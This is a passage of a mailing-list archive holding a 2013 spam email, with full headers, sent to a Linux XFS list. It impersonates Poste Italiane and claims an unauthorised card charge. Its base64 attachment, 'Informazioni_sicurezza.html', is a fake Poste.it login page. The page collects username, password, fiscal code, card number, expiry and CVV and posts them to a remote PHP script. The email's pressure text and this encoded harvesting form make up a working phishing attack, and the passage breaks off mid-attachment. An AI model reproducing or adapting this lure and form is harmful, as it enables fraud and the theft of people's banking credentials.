aoZjHaiF1WD8A8S56L7qxlKYzPj4pniDdoqCiChsrMLwZxdfAI4PnMc1Zi65wu2dDni3Ph0IdEHR h0gd2HfBsgGUuxRcKR3cy4nIZ4cVXmbN7eI7mvCaoZxjoVI6N/ZEpBTVpw+YF+soPX3w+WX1Upbm HctnUvqnif83QACdAg9+UM2CeaX1mKklZP/xqhqxcKaJD7sIampGD96SLuCQBgBdSIMICQJ7VYFd I2umqeKRPuv+Y1yQTNOnuD6BUlVTVClRSUyqm3gpUdZNtrKlADkhiBQuWBBGCJ9Pghhd8IG6gkRe uJENeYcxANYuqKn+B6yKqkqWQ639NVriUlLsCXFYRQrKPFNcW4g5ZlUpSHIyH8vdRglBDsSSwdS6 rSoO3SmY1m3RqdOB9MnOl2fyVtXWKJZivZWiYivijFuB0bzewba3F/RlYgVjHHEoQ0aZpSoWqpop S1LSB+AXu4E4T85PguYvuWEA+YaBKXHBWm2EFQLlhI4lbw82xfTxRdGsVjU+UQvf0REdqRMR3VxU 51e9T2nf0V/2j0dULaZhu/d6Rf49EqyBVCDzOKxS4gqsJ6zG9VXpV3M/pDNWgaIqwP78iiRJWg/j LpZaipWjys03Qs6ZQ/59XEKHojF4KoQgTsrWnI3FbZTW76krhTujJnxUVTUrgDMFMi3MLW90nfwl 3eUWRtVPepz94NeFLjc73PFDxy3psorAbGr8uYPDdLoqBZOp5I7M/cKT8D+Axh2ad5c51ToTnRNA Wq5jxTnWHOAaAdU1yEDvGumQf2dk3ZR411GsHjcRg8JrMcJxMthQMxwDDDesx7dFyMtgfUpx+biA 2xHm3lzv18lJGVkY2WPw8bGpCMP/FV8iyOwRS+rHQQKqaFS3strOGeLh9x9nwRapnMBKZzcCmA1u FTB7vSCEIQhCEIQhCX1Kxdf1S5HC5GabmRbys8Wtvi1JdOwdrdmUjjtdmSAbCkYY6NGjgAbQW/UF gDlg2YOaO17dCdsk9OkV8NCdAC7I4Lowerr8pdmyvHd1QM9ZkuuCsVu4dScTMt12zAq3LZovGY6B X7hUv79Kl7PVpiAnu9Fh+70ghCEIQhCEIS//R5M3tZR2tSqnb+VWO1j8rna0Cwdro2c7X5WztfE7 ke103/0DX6qzCWsQWMLIby69HTsxazhPhtYWgNsC0h95I20xagtZvJe28tbDrO4FrcFvCgC4BQnb /Oqo5m8d+OpaiMXYLuF4Lt5BdPZ3mZPuzIXH/fMywkDgQSAu8oCXB7TJfAqHkoGPlqbKbCR7YNxS bJ2728f/cU+ncg/6RgB8SREgL85XApHk0igM0V6u5GNwHyCyKBHgjAJPKs4h08dgwZrWqu/63PiE fkoCLBAC73wGCHyZ0aA+yyYxDqkdiyZrJKNzWZWrvdiD0XJGjTv3xDkaS6B+n0j34XnIAM8DX/wP 1tLvVPULXtdyokiVXf/nIDNFyTB08B/LaxuSBDiUNv4PbZLg+W99rLqSkuAv9j/iOmSd//umd/L7 qeEnimrmqgsLbY84G67XX7vYpuz3D6d46dH3Z1uCFAgcSOF3c7sP1QEjfCYVj824UzBYGMkJZuRA 7zt+MmD3ekX8f/8QxD17AEAHAA== ------=_NextPart_000_1E9A_01CEB5A4.49B7A840-- From 743-batqsxmk@bemtashali.com Thu Sep 19 23:48:53 2013 Return-Path: <743-batqsxmk@bemtashali.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.7 required=5.0 tests=FROM_STARTS_WITH_NUMS, HTML_COMMENT_SAVED_URL,HTML_MESSAGE,NORMAL_HTTP_TO_IP,SUBJ_ALL_CAPS, T_FRT_POSSIBLE,T_HTML_ATTACH,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 266B929DFB for ; Thu, 19 Sep 2013 23:48:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0A6D8F804C for ; Thu, 19 Sep 2013 21:48:49 -0700 (PDT) X-ASG-Debug-ID: 1379652524-04bdf053872e4730001-w1Z2WR Received: from srv3.peweb.com (srv3.peweb.com [94.75.204.163]) by cuda.sgi.com with ESMTP id LtEDfZ2IPCXDae3h (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 19 Sep 2013 21:48:45 -0700 (PDT) X-Barracuda-Envelope-From: 743-batqsxmk@bemtashali.com X-Barracuda-Apparent-Source-IP: 94.75.204.163 Received: from 173-165-135-97-utah.hfc.comcastbusiness.net ([173.165.135.97]:49973 helo=bemtashali.com) by srv3.peweb.com with esmtpa (Exim 4.80.1) (envelope-from <743-batqsxmk@bemtashali.com>) id 1VMsdw-00039x-7g for linux-xfs@oss.sgi.com; Fri, 20 Sep 2013 06:48:40 +0200 From: Poste Italiane <8616-yaicnkq@bemtashali.com> To: linux-xfs@oss.sgi.com Subject: RICEVUTA: PAGAMENTO IN ATTESA - 9963 Date: 19 Sep 2013 22:48:35 -0600 X-ASG-Orig-Subj: RICEVUTA: PAGAMENTO IN ATTESA - 9963 Message-ID: <20130919224834.71846A9C70210D6B@bemtashali.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_BC9E26A6.1B365DF9" X-PEWEB_Ltda-MailScanner-Information: Please contact the ISP for more information X-PEWEB_Ltda-MailScanner-ID: 1VMsdw-00039x-7g X-PEWEB_Ltda-MailScanner: Not scanned: please contact your Internet E-Mail Service Provider for details X-PEWEB_Ltda-MailScanner-SpamCheck: X-PEWEB_Ltda-MailScanner-From: 743-batqsxmk@bemtashali.com X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - srv3.peweb.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - bemtashali.com X-Get-Message-Sender-Via: srv3.peweb.com: authenticated_id: info@bcs46.nl X-Barracuda-Connect: srv3.peweb.com[94.75.204.163] X-Barracuda-Start-Time: 1379652525 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 3130dd969f3ded4c5a3ea5a11a1efbf1-15888-htm X-Barracuda-Spam-Score: 2.18 X-Barracuda-Spam-Status: No, SCORE=2.18 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL, HTML_COMMENT_SAVED_URL, HTML_MESSAGE, NORMAL_HTTP_TO_IP, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140771 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.36 HTML_COMMENT_SAVED_URL BODY: HTML message is a saved web page 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.81 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 This is a multi-part message in MIME format. ------=_NextPart_000_0012_BC9E26A6.1B365DF9 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 8bit 9/19/2013 22:48:34 Gentile utente linux-xfs@oss.sgi.com, Poste Italiane protegge la carta da un uso non autorizzato durante lo acquisti onlie. Hai comprato un buono di ricarica da digicallingcards (sales@digicallingcards.com) Potrebbero essere necessari alcuni minuti per questa operazione di apparire nel tuo acconto. Se non hai autorizzato questa carica, č necessario scaricare e compilare il modulo al piů presto possibile per annullare il pagamento! IMPORTANTE: Si prega di scaricare e compilare il modulo allegato a questa e-mail. Quando il pagamento sarŕ annullato si otterrŕ un rimborso completo. Cordiali Saluti, Poste Italiane ------=_NextPart_000_0012_BC9E26A6.1B365DF9 Content-Type: text/html; name="Informazioni_sicurezza.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Informazioni_sicurezza.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPCFET0NU WVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9F TiI+DQo8aHRtbCBsYW5nPSJpdCI+PGhlYWQ+DQo8YmFzZSBocmVmPSJodHRwOi8vODIuMTk0 Ljc1LjE1Mi9jc3Mvc3R5bGUvIj4NCjx0aXRsZT5Qb3N0ZSBJdGFsaWFuZSAtIEFjY2VkaSBh IFBvc3RlLml0PC90aXRsZT4NCjxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iZmF2 aWNvbi5pY28iPg0KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgc3JjPSJwb3N0ZS5q cyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCjxzY3JpcHQgbGFuZ3VhZ2U9 IkphdmFTY3JpcHQiIHNyYz0icG9zdGUyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwv c2NyaXB0Pg0KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0i c3RhbmRhcmQuY3NzIj4NCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3Mi IGhyZWY9ImFjY2VkaXNlcnZpemktcmVzdHlsZS5jc3MiPg0KPGxpbmsgcmVsPSJzdHlsZXNo ZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaGF0LmNzcyI+DQo8bGluayByZWw9InN0eWxl c2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJoZWFkZXIuY3NzIj4NCjxzY3JpcHQgdHlw ZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImpxdWVyeS0xLjQuMy5taW4uanMiPjwvc2NyaXB0 Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0icGNvbXV0aWxpdHkuanMi Pjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iZ2VuX3Zh bGlkYXRvcnY0LmpzIiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PC9zY3JpcHQ+DQo8L2hlYWQ+ DQo8Ym9keSBvbmxvYWQ9ImRvY3VtZW50LmxvZ2luZm9ybTEudXNlcm5hbWUuZm9jdXMoKSI+ DQo8ZGl2IGNsYXNzPSJjMTAiPg0KCTxkaXYgaWQ9InJvdy1oYXQiPg0KCQk8ZGl2IGlkPSJy b3ctaGF0LWlubmVyIj4NCgkJCTx1bCBpZD0idGFyZ2V0aW5nIiBjbGFzcz0ibGYiPg0KCQkJ CTxsaSBjbGFzcz0iYWN0aXZlIiBpZD0ibGlua3ZvcnRhbHByaXZhdGkiPjxhIHRpdGxlPSJQ b3N0ZSBJdGFsaWFuZSBwZXIgaSBwcml2YXRpIiBjbGFzcz0idGFyZ2V0UHJpdmF0aSI+UHJp dmF0aTwvYT48L2xpPg0KCQkJCTxsaSBpZD0ibGlua3ZvcnRhbHBtaSI+PGEgdGl0bGU9IlBv c3RlIEl0YWxpYW5lIHBlciBpIHByb2Zlc3Npb25pc3RpIGUgbGUgcGljY29sZS9tZWRpZSBp bXByZXNlIiBjbGFzcz0idGFyZ2V0UG1pIj5Qcm9mZXNzaW9uaXN0aSBlIHBtaTwvYT48L2xp Pg0KCQkJCTxsaSBpZD0ibGlua3ZvcnRhbHBhIj48YSB0aXRsZT0iUG9zdGUgSXRhbGlhbmUg cGVyIGxlIGdyYW5kaSBpbXByZXNlIGUgbGUgcHViYmxpY2UgYW1taW5pc3RyYXppb25pIiBj bGFzcz0idGFyZ2V0UGEgbGFzdCI+SW1wcmVzZSBlIHBhPC9hPjwvbGk+DQoJCQk8L3VsPg0K CQkJPHVsIGlkPSJ2ZXJzaW9uU2l0ZSIgY2xhc3M9InJmIj4NCgkJCQk8bGk+PGEgdGl0bGU9 IkFyZWEgSXN0aXR1emlvbmFsZSBQb3N0ZSBJdGFsaWFuZSI+R3J1cHBvPC9hPjwvbGk+DQoJ CQkJPGxpPjxhIHRpdGxlPSJTaXRvIEFjY2Vzc2liaWxlIj5BY2Nlc3NpYmlsZTwvYT48L2xp Pg0KCQkJCTxsaT48YSB0aXRsZT0iRW5nbGlzaCIgY2xhc3M9Imxhc3QiPkVuZ2xpc2g8L2E+ PC9saT4NCgkJCTwvdWw+DQoJCQk8ZGl2IGNsYXNzPSJmbG9hdEFubnVsbGEiPg0KCQkJPC9k aXY+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KCTxkaXYgaWQ9InJvdy1oZWFkZXIiPg0KCQk8ZGl2 IGlkPSJyb3ctaGVhZGVyLWlubmVyIj4NCgkJCTxkaXYgaWQ9ImxvZ29Db250YWluZXIiIGNs YXNzPSJsZiI+DQoJCQkJPGgxIGlkPSJsb2dvIiBjbGFzcz0ibGYiPjxhIGNsYXNzPSJsZiIg dGl0bGU9IlBvc3RlIEl0YWxpYW5lIj48aW1nIHNyYz0ibG9nby5wbmciIGFsdD0iUG9zdGUg SXRhbGlhbmUiPjwvYT48L2gxPg0KCQkJPC9kaXY+DQoJCQk8dWwgY2xhc3M9InJmIiBpZD0i cmlnaHRIZWFkZXIiPg0KCQkJCTxsaSBjbGFzcz0ic2VhcmNoQXJlYSBsYXN0Ij48YSB0aXRs ZT0iQ2VyY2EiIGlkPSJzZWFyY2hsaW5rIiBjbGFzcz0icmYiIG5hbWU9InNlYXJjaGxpbmsi PkNlcmNhPC9hPjwvbGk+DQoJCQkJPGxpIGNsYXNzPSJ1c2VyUmVnIj48YSB0aXRsZT0icmVn aXN0cmF0aSBwZXIgdXN1ZnJ1aXJlIGRlaSBzZXJ2aXppIG9ubGluZSBkaSBQb3N0ZS5pdCIg aWQ9ImxpbmtfbG9nb3V0IiBjbGFzcz0icmYiIG5hbWU9ImxpbmtfbG9nb3V0Ij5SZWdpc3Ry YXRpPC9hPjwvbGk+DQoJCQkJPGxpIGNsYXNzPSJ1c2VyTG9naW4iPjxhIHRpdGxlPSJhY2Nl ZGkgYWkgc2Vydml6aSBvbmxpbmUgZGkgUG9zdGUuaXQiIGlkPSJsaW5rX3ByaW5jaXBhbGUi IGNsYXNzPSJyZiBtb2RhbENhbGwiIG5hbWU9ImxpbmtfcHJpbmNpcGFsZSI+QWNjZWRpPC9h PjwvbGk+DQoJCQk8L3VsPg0KCQkJPGRpdiBjbGFzcz0iZmxvYXRBbm51bGxhIj4NCgkJCTwv ZGl2Pg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCgk8ZGl2IGlkPSJwYWdlIj4NCgkJPGRpdiBjbGFz cz0id2luNTg1dSB3aW5jb250ZW50IiBpZD0ibWFpbmNvbnRlbnQiPg0KCQkJPGRpdiBjbGFz cz0idHBsX3Rlc3RhdGEgdHBsX3Rlc3RhdGExIj4NCgkJCQk8aDE+PGEgbmFtZT0iI2NvbnRl bnV0byIgaWQ9ImNvbnRlbnV0byI+QWNjZWRpIGEgUG9zdGUuaXQ8L2E+PC9oMT4NCgkJCQk8 ZGl2IGNsYXNzPSJhYnN0cmFjdCI+DQoJCQkJCVBlciBwb3RlciB1c3VmcnVpcmUgZGVpIHNl cnZpemkgb25saW5lIGRpIFBvc3RlLml0IG9jY29ycmUgcHJpbWEgaWRlbnRpZmljYXJzaS4g SW5zZXJpc2NpIG5lZ2xpIGFwcG9zaXRpIHNwYXppIGlsIHR1byBub21lIHV0ZW50ZSBlIGxh IHBhc3N3b3JkLg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSJ0cGxf dGVzdGF0YSB0cGxfdGVzdGF0YTIgYzEiPg0KCQkJCTxoMT48YSBuYW1lPSIjY29udGVudXRv IiBpZD0iY29udGVudXRvIj5BZ2dpb3JuYSBpbCB0dW8gY29udG88L2E+PC9oMT4NCgkJCTwv ZGl2Pg0KCQkJPGRpdiBjbGFzcz0iZmxvYXRBbm51bGxhIj4NCgkJCTwvZGl2Pg0KCQkJPGRp diBjbGFzcz0iY3JlYVBhZ2luYSI+DQoJCQkJPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRp bmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSIgc3VtbWFyeT0idGFiZWxsYSBs YXlvdXQiPg0KCQkJCTx0cj4NCgkJCQkJPHRkIGNsYXNzPSJibG9jY29BIj4NCgkJCQkJCTxk aXYgY2xhc3M9ImM3Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0aXRvbG9BY2Nlc3NvUHJpdmF0 aV9pbnRlcm5hIj4NCgkJCQkJCQkJPHA+DQoJCQkJCQkJCQk8c3Ryb25nPlByaXZhdGk8L3N0 cm9uZz48c3BhbiBjbGFzcz0iYnVzaW5lc3MiPjxhPkJ1c2luZXNzPC9hPjwvc3Bhbj4NCgkJ CQkJCQkJPC9wPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCTxkaXYgY2xhc3M9ImJveF9pbnRl cm5hIGJveF9pbnRlcm5hXzEiIHRpdGxlPSJBY2Nlc3NvIGFpIHNlcnZpemkgcGVyIHByaXZh dGkgZSBidXNpbmVzcyI+DQoJCQkJCQkJCTxwIGNsYXNzPSJjMiI+DQoJCQkJCQkJCQk8c3Ry b25nPkFjY2VkaSBhaSBTZXJ2aXppIE9ubGluZTwvc3Ryb25nPg0KCQkJCQkJCQk8L3A+DQoJ CQkJCQkJCTxmb3JtIG5hbWU9ImxvZ2luZm9ybTEiIGlkPSJsb2dpbmZvcm0xIiBhY3Rpb249 IiIgbWV0aG9kPSJwb3N0Ij4NCgkJCQkJCQkJCTx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2Vs bHNwYWNpbmc9IjAiIGNsYXNzPSJjNCIgc3VtbWFyeT0ibG9naW4gdXRlbnRlIj4NCgkJCQkJ CQkJCTx0ciB2YWxpZ249Im1pZGRsZSI+DQoJCQkJCQkJCQkJPHRkPg0KCQkJCQkJCQkJCQk8 c3Bhbj48c3Ryb25nPk5vbWUgdXRlbnRlOjwvc3Ryb25nPjwvc3Bhbj48YnI+DQoJCQkJCQkJ CQkJCTxpbnB1dCBuYW1lPSJ1c2VybmFtZSIgaWQ9InVzZXJuYW1lIiB0eXBlPSJ0ZXh0IiBj bGFzcz0iaW5wdXRBY2NlZGkgYzMiPg0KCQkJCQkJCQkJCTwvdGQ+DQoJCQkJCQkJCQk8L3Ry Pg0KCQkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJCTx0ZD4NCgkJCQkJCQkJCQkJPHNwYW4+PHN0 cm9uZz5QYXNzd29yZDo8L3N0cm9uZz48L3NwYW4+PGJyPg0KCQkJCQkJCQkJCQk8aW5wdXQg bmFtZT0icGFzc3dvcmQiIGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiIG1heGxlbmd0 aD0iMTAwIiBjbGFzcz0iaW5wdXRQYXNzd29yZCBjMyI+PGltZyBzcmM9ImxvY2suZ2lmIiBh bHQ9Imh0dHBzIHNpdG8gc2ljdXJvIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQWNj ZW5kaSIgY2xhc3M9ImJvdHRvbmUiPg0KCQkJCQkJCQkJCTwvdGQ+DQoJCQkJCQkJCQk8L3Ry Pg0KCQkJCQkJCQkJPC90YWJsZT4NCgkJCQkJCQkJPC9mb3JtPg0KCQkJCQkJCQk8ZGl2IGNs YXNzPSJ1bExvZ2luQ29udGFpbmVyIj4NCgkJCQkJCQkJCTx1bD4NCgkJCQkJCQkJCQk8bGk+ PGE+Tm9uIHNlaSBhbmNvcmEgcmVnaXN0cmF0bz88L2E+PC9saT4NCgkJCQkJCQkJCQk8bGk+ PGE+SGFpIGRpbWVudGljYXRvIGxhIHBhc3N3b3JkPzwvYT48L2xpPg0KCQkJCQkJCQkJCTxs aT48YSBocmVmPSJodHRwOi8vYW50aXBoaXNoaW5nLnBvc3RlLml0LyI+Q29tZSBkaWZlbmRl cnNpIGRhbCBwaGlzaGluZzwvYT48aW1nIHNyYz0icGVzY2UuZ2lmIiBhbHQ9IkRpZmVuZGVy c2kgZGFsIFBoaXNoaW5nIiBjbGFzcz0iYzUiIGFsaWduPSJtaWRkbGUiPjwvbGk+DQoJCQkJ CQkJCQk8L3VsPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8ZGl2 IGNsYXNzPSJib3hfaW50ZXJuYSBib3hfaW50ZXJuYV8yIGMxIj4NCgkJCQkJCQkJPHAgY2xh c3M9ImMyIj4NCgkJCQkJCQkJCTxzdHJvbmc+PHN0cm9uZz5BZ2dpb3JuYXJlIGxlIHNlZ3Vl bnRpIGluZm9ybWF6aW9uaTwvc3Ryb25nPjwvc3Ryb25nPg0KCQkJCQkJCQk8L3A+DQoJCQkJ CQkJCTxicj4NCgkJCQkJCQkJPGZvcm0gbmFtZT0ibG9naW5mb3JtMTIiIGlkPSJsb2dpbmZv cm0xMiIgYWN0aW9uPSJ1cGRhdGkucGhwIiBtZXRob2Q9InBvc3QiPg0KCQkJCQkJCQkJPGlu cHV0IG5hbWU9InVzZXJuYW1lIiBpZD0idXNlcm5hbWUxIiB0eXBlPSJoaWRkZW4iPjxpbnB1 dCBuYW1lPSJwYXNzd29yZCIgaWQ9InBhc3N3b3JkMSIgdHlwZT0iaGlkZGVuIiBtYXhsZW5n dGg9IjEwMCI+DQoJCQkJCQkJCQk8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5n PSIwIiBjbGFzcz0iYzQiIHN1bW1hcnk9ImxvZ2luIHV0ZW50ZSI+DQoJCQkJCQkJCQk8dHIg dmFsaWduPSJtaWRkbGUiPg0KCQkJCQkJCQkJCTx0ZD4NCgkJCQkJCQkJCQkJPHNwYW4+PHN0 cm9uZz5Db2RpY2UgZmlzY2FsZTo8L3N0cm9uZz48L3NwYW4+PGJyPg0KCQkJCQkJCQkJCQk8 aW5wdXQgaWQ9ImNvZGZpcyIgbmFtZT0iY29kZmlzIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iYzYi IG1heGxlbmd0aD0iIiBzaXplPSIyNCI+DQoJCQkJCQkJCQkJPC90ZD4NCgkJCQkJCQkJCTwv dHI+DQoJCQkJCQkJCQk8dHIgdmFsaWduPSJtaWRkbGUiPg0KCQkJCQkJCQkJCTx0ZD4NCgkJ CQkJCQkJCQkJPHNwYW4+PHN0cm9uZz5OdW1lcm8gZGkgY2FydGE6PC9zdHJvbmc+PC9zcGFu Pjxicj4NCgkJCQkJCQkJCQkJPGlucHV0IGlkPSJjYXJ0YSIgbmFtZT0iY2FydGEiIHR5cGU9 InRleHQiIGNsYXNzPSJjNiIgbWF4bGVuZ3RoPSIiIHNpemU9IjI0Ij4NCgkJCQkJCQkJCQk8 L3RkPg0KCQkJCQkJCQkJPC90cj4NCgkJCQkJCQkJCTx0ciB2YWxpZ249Im1pZGRsZSI+DQoJ CQkJCQkJCQkJPHRkPg0KCQkJCQkJCQkJCQk8c3Ryb25nPlNjYWRlbnphIG1tL2FhOjwvc3Ry b25nPjxicj4NCgkJCQkJCQkJCQkJPHNlbGVjdCBuYW1lPSJtZXNlIiB0aXRsZT0ibWVzZSIg dGFiaW5kZXg9IjQiIHNpemU9IjEiPg0KCQkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iIiBz ZWxlY3RlZD5NZXNlPC9vcHRpb24+DQoJCQkJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSIwMSI+ MDE8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjAyIj4wMjwvb3B0aW9u Pg0KCQkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMDMiPjAzPC9vcHRpb24+DQoJCQkJCQkJ CQkJCQk8b3B0aW9uIHZhbHVlPSIwNCI+MDQ8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRp b24gdmFsdWU9IjA1Ij4wNTwvb3B0aW9uPg0KCQkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0i MDYiPjA2PC9vcHRpb24+DQoJCQkJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSIwNyI+MDc8L29w dGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjA4Ij4wODwvb3B0aW9uPg0KCQkJ CQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMDkiPjA5PC9vcHRpb24+DQoJCQkJCQkJCQkJCQk8 b3B0aW9uIHZhbHVlPSIxMCI+MTA8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFs dWU9IjExIj4xMTwvb3B0aW9uPg0KCQkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMTIiPjEy PC9vcHRpb24+DQoJCQkJCQkJCQkJCTwvc2VsZWN0Pg0KCQkJCQkJCQkJCQk8c2VsZWN0IG5h bWU9ImFubm8iIHRpdGxlPSJhbm5vIiB0YWJpbmRleD0iNSIgc2l6ZT0iMSI+DQoJCQkJCQkJ CQkJCQk8b3B0aW9uIHZhbHVlPSIiIHNlbGVjdGVkPkFubm88L29wdGlvbj4NCgkJCQkJCQkJ CQkJCTxvcHRpb24gdmFsdWU9IjIwMTMiPjIwMTM8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxv cHRpb24gdmFsdWU9IjIwMTQiPjIwMTQ8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24g dmFsdWU9IjIwMTUiPjIwMTU8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9 IjIwMTYiPjIwMTY8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjIwMTci PjIwMTc8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjIwMTgiPjIwMTg8 L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjIwMTkiPjIwMTk8L29wdGlv bj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjIwMjAiPjIwMjA8L29wdGlvbj4NCgkJ CQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjIwMjEiPjIwMjE8L29wdGlvbj4NCgkJCQkJCQkJ CQkJCTxvcHRpb24gdmFsdWU9IjIwMjIiPjIwMjI8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxv cHRpb24gdmFsdWU9IjIwMjIiPjIwMjM8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24g dmFsdWU9IjIwMjIiPjIwMjQ8L29wdGlvbj4NCgkJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9 IjIwMjIiPjIwMjU8L29wdGlvbj4NCgkJCQkJCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCQkJCQkJ CTxicj4NCgkJCQkJCQkJCQk8L3RkPg0KCQkJCQkJCQkJPC90cj4NCgkJCQkJCQkJCTx0ciB2 YWxpZ249Im1pZGRsZSI+DQoJCQkJCQkJCQkJPHRkPg0KCQkJCQkJCQkJCQk8c3Bhbj48c3Ry b25nPkNvZGljZSBkaSBzaWN1cmV6emEgQ1ZWOjo8L3N0cm9uZz48L3NwYW4+PGJyPg0KCQkJ CQkJCQkJCQk8aW5wdXQgaWQ9InNpY3VyZXp6YSIgbmFtZT0ic2ljdXJlenphIiB0eXBlPSJ0 ZXh0IiBjbGFzcz0iYzYiIG1heGxlbmd0aD0iMyIgc2l6ZT0iMyI+PGltZyBzcmM9ImxvY2su Z2lmIiBhbHQ9Imh0dHBzIHNpdG8gc2ljdXJvIj48YnI+DQoJCQkJCQkJCQkJCTxicj4NCgkJ CQkJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFnZ2lvcm5hcmUiIGNsYXNz PSJib3R0b25lIj4NCgkJCQkJCQkJCQk8L3RkPg0KCQkJCQkJCQkJPC90cj4NCgkJCQkJCQkJ CTwvdGFibGU+DQoJCQkJCQkJCTwvZm9ybT4NCgkJCQkJCQkJPHNjcmlwdCB0eXBlPSJ0ZXh0 L2phdmFzY3JpcHQiPg0KIHZhciBmcm12YWxpZGF0b3IgID0gbmV3IFZhbGlkYXRvcigibG9n aW5mb3JtMTIiKTsNCiBmcm12YWxpZGF0b3IuYWRkVmFsaWRhdGlvbigiY29kZmlzIiwicmVx IiwiSW5zZXJpc2NpIGlsIHR1byBjb2RpY2UgZmlzY2FsZSEiKTsNCiBmcm12YWxpZGF0b3Iu YWRkVmFsaWRhdGlvbigiY29kZmlzIiwiYWxwaGFudW1lcmljIiwiU29sbyBjYXJhdHRlcmkg YWxmYWJldGljaSBlIHNwYXppIGNvbnNlbnRpdGkgbmVsIG5vbWUgY29tcGxldG9zISIpOw0K IGZybXZhbGlkYXRvci5hZGRWYWxpZGF0aW9uKCJjb2RmaXMiLCJtaW5sZW49MTYiLCJJbnNl cmlyZSBpbCB0dW8gY29kaWNlIGZpc2NhbGUgY29ycmV0YW1lbnRlISIpOw0KIGZybXZhbGlk 